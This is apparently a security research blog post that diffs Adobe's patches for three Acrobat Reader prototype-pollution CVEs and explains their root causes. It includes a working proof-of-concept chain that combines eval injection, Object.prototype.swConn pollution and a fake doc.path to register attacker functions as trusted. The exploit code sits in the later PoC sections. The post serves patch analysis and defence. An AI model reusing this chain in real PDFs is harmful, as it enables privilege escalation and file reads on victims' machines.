Three Bugs Walk Into a PDF: Prototype Pollution, Served Cold
Table of Contents
TL;DR
In April 2026, Adobe disclosed three critical security issues (CVE-2026-34621,CVE-2026-34622,CVE-2026-34626) affecting Acrobat DC, Acrobat Reader DC, and Acrobat 2024. According to Adobe’s advisories, these vulnerabilities could allow attackers to execute arbitrary code and leak user information through a malicious PDF file via a prototype pollution chain and they were reportedly exploited in the wild. The initial issue, CVE-2026-34621, was first identified by EXPMON.
While several reports have already covered the threat intelligence and malware-analysis aspects of the ITW samples, we were more interested in the underlying vulnerabilities themselves and how Adobe patched them.
To that end, we reverse-engineered the fixes across two product versions and analyzed the malware sample for validation and additional context. This allowed us to identify the root cause of the issues, understand the patch behavior, and develop a trigger PoC. This post documents our process of reproducing and analyzing the bugs to better understand how they were exploited in the wild and what primitives they enabled.
Introduction
| CVE | CVE-2026-34621 |
| Impact | High |
| Affected Products | Windows/MacOS Systems having Adobe Reader 26.001.21367 and earlier |
| Bug IDs | APSB26-43 |
| Patch | https://helpx.adobe.com/security/products/acrobat/apsb26-43.html |
| CVE | CVE-2026-34622, CVE-2026-34626 |
| Impact | High |
| Affected Products | Windows/MacOS Systems having Adobe Reader 26.001.21411 and earlier |
| Bug IDs | APSB26-44 |
| Patch | https://helpx.adobe.com/security/products/acrobat/apsb26-44.html |
We first encountered these three issues in Adobe’s April 2026 Emergency Updates for Acrobat Reader, where they were described as “Improperly Controlled Modification of Object Prototype Attributes” or prototype pollution bugs. Adobe initially marked CVE-2026-34621 as being exploited in the wild on 12th April, but subsequent public reports suggested that the fix may have been incomplete. Two days later, Adobe released another update that addressed two additional issues, CVE-2026-34626 and CVE-2026-34622.
That made the situation even more interesting. To understand what was actually going on, we decided to reverse-engineer the fixes across the two versions, trace the root cause of each CVE, and then develop a trigger PoC to validate our findings.
How Adobe’s Fixes Gave It Away
We analyzed patch differences between consecutive Adobe Reader releases to identify affected code paths and understand the underlying causes of each vulnerability. The comparison included:
Adobe Reader 26.001.21367→26.001.21411forCVE-2026-34621Adobe Reader 26.001.21411→26.001.21431forCVE-2026-34626andCVE-2026-34622
This process made it possible to pinpoint the exact changes introduced in each patch and relate them directly to the vulnerabilities they address.
For CVE-2026-34621, the fix is a single-line change, as illustrated in the patch diff:
Figure 1: Patch One
Figure 2: Patch Two
This patch changes swConn from a property-resolved name into a true local variable. Now, swConn is allocated as a local binding in the current function so reads of swConn no longer consult the global object or inherited prototypes. After analysing the code further we found that the root cause for this issue is an unsafe use of an unqualified non-local swConn identifier inside a privileged collaboration login workflow, specifically in the SilentDocCenterLogin function [1]. In the vulnerable code, swConn is assigned without a local declaration:
function SilentDocCenterLogin (data, connectParams)
var isFirstLaunch = false;
app.beginPriv()
isFirstLaunch = Collab.isFirstLaunch(data.WT);
app.endPriv();
app.beginPriv();
data.user = Collab.getUserIDFromStore();
app.endPriv();
if(isFirstLaunch)
data.isFirstLaunch = true;
return false;
if(data.reviewType == "SharedReview" || data.reviewType == "FormDistribution")
var addStringToPayloadParams = {};
addStringToPayloadParams.name = "Authentication_Successful";
try
app.beginPriv();
swConn = Collab.swConnect(connectParams/*{bShowProgressMonitor: bShowProgressMonitor}*/); // [1]
app.endPriv();
...
...
In Acrobat’s JavaScript environment, that means swConn earlier was not a lexical local variable. Instead, it was resolved through the global object/property lookup path. This is exactly the kind of situation where prototype pollution becomes dangerous. If an attacker can influence how swConn resolves, the collaboration code may read or write an attacker controlled object rather than a real internal connection object.
So if Object.prototype.swConn is polluted, the trusted collaboration code then later used swConn, it interacted with an attacker-supplied fake object. This fake object then could redirect execution into a SOAP.stringFromStream (fake stream path) and ultimately cause app.trustedFunction(functionRef) to be invoked on attacker-selected functions, which can lead to privilege escalation within Adobe Reader. That’s a powerful primitive in itself. Let’s check out the other 2 issues.
Amongst the few changes we saw in this new diff, 2 of them stood out as security fixes. This is the first fix -
Figure 3: Patch Three
This patch in the ANFancyAlertImpl function changes the handler construction model from data -> source code -> eval -> function to data -> closure parameter -> function. Now bid is carried only as a runtime value captured by a closure so a malicious bid can only be a string value passed to dialog.end(id). ANFancyAlertImpl basically iterates over the keys of the buttons object and used each key to build a handler string, then passes that string to eval. The vulnerable code looked like:
...
...
for(var i in buttons)
var bc = buttons[i];
var bid = "btn" + i;
ba[ba.length] = {
type: "button",
item_id: bid,
name: bc,
alignment: "align_right"
};
// throw a handler for the button in
desc[bid] = eval("(function(dialog) { dialog.end('" + bid + "'); })"); // [2]
...
...
Here, the function could potentially enumerate attacker controlled object keys, derive bid = "btn" + i, splice bid directly into JavaScript source text, and eval the resulting handler [2]. This could lead to attacker javascript code execution from attacker controlled dialog button identifiers. A useful primitive for bootstrapping. The fix seems to remove the interpreter boundary entirely rather than trying to escape strings more carefully thus closing this bootstrap gadget.
Let’s look at the other security patch -
Figure 4: Patch Four
This fix ensures that doc.path is indeed a string and cannot be an object. It forces primitive-string type, copies into a local normalized value, and then use only the normalized value for later string operations. Basically, this bug seems to be an object confusion across trusted string-processing sinks. Trusted collaboration workflows accepted values such as doc.path, props.originalPath, props.savePath, decodedURL, doc.documentFileName, reviewer strings and a few automation workflow parameters without first proving they were primitive strings [3]. The vulnerable pattern in ANShareFile trusted function looked like this:
ANShareFile = app.trustedFunction(function(props)
var doc = props.doc;
...
var data = {};
if(doc && doc.path) // [3]
data.docPath = doc.path;
data.docName = data.docPath.substring(data.docPath.lastIndexOf('/') + 1, data.docPath.length); // [4]
data.doc = doc;
...
...
This pattern is followed by later string operations like .substring(...), .lastIndexOf(...), .match(...) or string concatenation constructs [4]. This is dangerous because a non-string object can expose attacker controlled methods or accessors with those names. If privileged Acrobat code treats that object as a string and calls those methods, attacker code executes on the trusted call stack. A useful primitive indeed.
Similar fixes are made in different functions as well to patch the variants. These patches appear in these functions - ANShareFile, ANStartApproval, ANSendForApproval, ANSendForReview, ANSendForSharedReview, CBSharedReviewCompleteAutomation, ANSendForFormDistribution and CBBBRInvite to mitigate this vulnerability.
Based on Adobe’s advisory, CVE-2026-34622 and CVE-2026-34626 are classified as prototype pollution bugs. Our patch-diff analysis identified two code locations where the developers explicitly marked the changes as security fixes, but it remains unclear whether these patches correspond exactly to the listed CVEs. They may represent the same vulnerabilities, or related variants of them.
Now, that we have a clear idea of the issues and the primitives they yield, let’s try writing a trigger PoC for it.
Three Polluted Primitives, One Pure Chain
It appears that these three issues are combined to form a stronger exploitation primitive. To validate this hypothesis, we also reverse engineered the ITW malware sample to extract the portion where these vulnerabilities were exercised. In the sections that follow, we walk through the underlying primitives and progressively build up the exploit chain.
Our PoC first needs code execution in the normal Reader scripting context. The ANFancyAlertImpl bug provides this primitive. In the vulnerable code, as we saw, ANFancyAlertImpl built dialog button handlers by concatenating strings and passing the result to eval. We can control the behavior of the button key in the buttons object:
buttons = {
"a(a(a'); }); global.A(); throw Error('oops'); //": 0
};
This malicious key breaks out of the expected string context and injects global.A(). So we can call ANFancyAlertImpl in the following way:
ANFancyAlertImpl('', [], 0, buttons, 0, 0, 0, 0, 0);
This way, we can craft a malicious key can break out of the expected string literal and inject arbitrary JavaScript (in this case: global.A()). It executes attacker controlled bootstrap JS which can set up the later prototype pollution logic. Moving on, as we saw, CVE-2026-34621 provides the privilege-escalation primitive by abusing swConn resolution and SilentDocCenterLogin to register attacker controlled functions as trusted functions. The PoC would first create a fake stream:
stream = {
'read': app.trustedFunction.bind(app, functionRef)
};
We then shape a fake swConn object that exposed getFullName. After this we poison Object.prototype.swConn:
ob = {
'getFullName': SOAP.stringFromStream.bind(SOAP, stream)
};
Object.prototype.__defineGetter__('swConn', () => { return ob; });
This is done because the code expects swConn to be an internal connection object. Instead, we make any lookup of swConn resolve to the fake object ob. So when the exploit later steers Acrobat into SilentDocCenterLogin(...), Acrobat reaches code that uses swConn and ultimately calls through the fake getFullName stream path. The stream’s read callback is:
app.trustedFunction.bind(app, functionRef)
which means that the victim function reference, such as global.url or any other defined functions, gets registered by Acrobat as a trusted function. So when privileged collaboration code thought it was doing data.swConn.getFullName() it was actually walking through attacker controlled objects that ended in registration of attacker-supplied functionRef as a trusted function. This is the core escalation step.
To glue these 2 primitives together, we still need a suitable internal call path that consumes the polluted properties. The third primitive we saw earlier provides the trusted workflow sink by allowing non-string doc.path behavior inside ANShareFile. Since the collaboration code path around ANShareFile assumed doc.path was a primitive string and used string methods like lastIndexOf and substring, the PoC breaks that assumption by installing a getter for path:
this.__defineGetter__('path', () => { return fakeobj; });
// ANShareFile internally accesses .swConn and .path on objects
// Due to prototype pollution, it gets our poisoned values
// This leads to SilentDocCenterLogin being called with attacker data
// which grants trustedFunction-level privileges to functionRef
ANShareFile({ 'doc': eval('this') });
where fakeobj is:
data = { 'WT': '' };
this.dirty = false;
fakeobj = {
'lastIndexOf': SilentDocCenterLogin.bind(app, data, {}),
'substring': () => { throw Error(''); }
};
So when ANShareFile later processes doc.path as if it were a string, we can actually control the behavior behind that string like object. Essentially, this primitive acts like the bridge between the initial JS execution and the later privilege-escalation logic since we required an attacker controlled behavior on a trusted collaboration call path. By chaining these 3 primitives it is possible for us to define our own javascript functions, register them as trusted functions via privilege escalation within Adobe and execute them. This is a very powerful primitive which can be used for arbitrary file system read or even arbitrary code execution.
This is the final PoC we came up with -
global.url = function(cmd) {
var ret = undefined;
app.beginPriv();
app.launchURL("https://starlabs.sg/");
app.endPriv();
return ret;
}
global.A = () => {
// Define the exploit function as global.B
// B() is a reusable privilege elevation function which is called once per function
// to register that function as a trustedFunction via the pollution chain
global.B = function(functionRef) {
try {
// Create a fake stream object
// functionRef (e.g., global.get) is bound as the 'read' callback
// When stream.read() is called, it calls app.trustedFunction(functionRef)
// which registers functionRef as a trusted function
stream = {
'read': app.trustedFunction.bind(app, functionRef)
};
// Create a fake doc-like object
ob = {
'getFullName': SOAP.stringFromStream.bind(SOAP, stream)
};
// Poison Object.prototype with a getter for "swConn"
// After this, any object's .swConn property returns our fake 'ob'
// 'swConn' is an internal Adobe property used by ANShareFile
// for sharing connection state
Object.prototype.__defineGetter__('swConn', () => { return ob; });
// Set up data for SilentDocCenterLogin abuse
data = { 'WT': '' };
this.dirty = false;
// Create fake path object that triggers SilentDocCenterLogin
fakeobj = {
'lastIndexOf': SilentDocCenterLogin.bind(app, data, {}),
'substring': () => { throw Error(''); }
};
// Poison 'this' object's path getter
this.__defineGetter__('path', () => { return fakeobj; });
// ANShareFile internally accesses .swConn and .path on objects
// Due to prototype pollution, it gets our poisoned values
// This leads to SilentDocCenterLogin being called with attacker data
// which grants trustedFunction-level privileges to functionRef
ANShareFile({ 'doc': eval('this') });
} catch (e) {
}
};
};
// The button key contains injected JavaScript that breaks out of
// ANFancyAlertImpl's internal string processing:
buttons = {
"a(a(a'); }); global.A(); throw Error('oops'); //": 0
};
// ANFancyAlertImpl processes button labels as JavaScript internally.
// The crafted key escapes the string context, closes the function,
// calls global.A() to set up the prototype pollution,
// then throws to abort normal processing.
try {
ANFancyAlertImpl('', [], 0, buttons, 0, 0, 0, 0, 0);
} catch (e) {
// Expected - the injected code throws Error('oops')
}
// Clean up the prototype pollution from the trigger
delete Object.prototype.swConn;
// Each call re-pollutes Object.prototype.swConn, feeds the function through
// the ANShareFile->SilentDocCenterLogin chain, and registers it as trusted
//
global.B(global.url); // global.url() now has trustedFunction access
// This user defined function will now run with elevated context
global.url();
As discussed, this PoC demonstrates prototype pollution and privilege escalation in Adobe Reader by combining all three primitives into a stronger chain. In this setup, attacker controlled functions can be registered as trusted functions (here, global.url) enabling arbitrary JavaScript execution on the system. Combined with attacker-supplied functions, this can lead to arbitrary file-system reads and further JavaScript execution. To demonstrate this, we modified the PoC to read ntdll.dll and bootsvc.dll and extract the current system’s ProdVersion and OSVersion and display it as an alert popup along with launching a web URL (all three are privileged operations in Adobe JS Engine), thereby showcasing arbitrary JavaScript execution in an elevated context with arbitrary file-read capability.
Tested On: Adobe Reader 26.001.21367 on Windows 10.
Conclusion
In conclusion, CVE-2026-34621, and the other 2 primitives together form a prototype-pollution chain in Adobe Reader that was actively exploited in the wild. By reverse-engineering Adobe’s patches across 2 versions, we were able to trace the root cause of each issue, understand how the fixes evolved, and confirm that the bugs could be chained into a stronger primitive. Taken together, these flaws allow attacker controlled JavaScript to cross trust boundaries, register attacker-defined functions as trusted, and reach elevated JavaScript execution with sensitive file-read capability. The PoC shows how that chain can be turned into practical exploitation, closely matching the behavior seen in the ITW sample.
We also closely followed Adobe’s patch cycle and noted that the company appeared to be aware of all three issues involved in the ITW exploit chain. Because this was an emergency release, Adobe likely prioritized the swConn bug (CVE-2026-34621), which enabled privilege escalation and allowed them to break the exploit chain quickly. That patch seems to have been straightforward, making it a sensible candidate for immediate remediation. By contrast, the doc.path issue had multiple possible variants, so it was prudent to spend more time validating and fixing it thoroughly. The status of the ANFancyAlertImpl bug is less clear, it is uncertain whether the fix was simply deferred or initially overlooked, but Adobe ultimately addressed it as well.
References:
- https://helpx.adobe.com/security/products/acrobat/apsb26-43.html
- https://helpx.adobe.com/security/products/acrobat/apsb26-44.html
- https://pub.expmon.com/analysis/328131/
- https://justhaifei1.blogspot.com/2026/04/expmon-detected-sophisticated-zero-day-adobe-reader.html?m=1
- https://www.virustotal.com/gui/file/65dca34b04416f9a113f09718cbe51e11fd58e7287b7863e37f393ed4d25dde7/behavior
- https://www.threatlocker.com/blog/adobe-acrobat-reader-cve-2026-34621-active-exploitation-via-prototype-pollution
- https://www.penligent.ai/hackinglabs/he/cve-2026-34621-inside-adobe-readers-prototype-pollution-zero-day/
- https://gist.github.com/N3mes1s/9e55e8d781235ee256d5b3f6720222dd
- https://gist.github.com/joe-desimone/296eeb76b014e1e42530654a33aa7247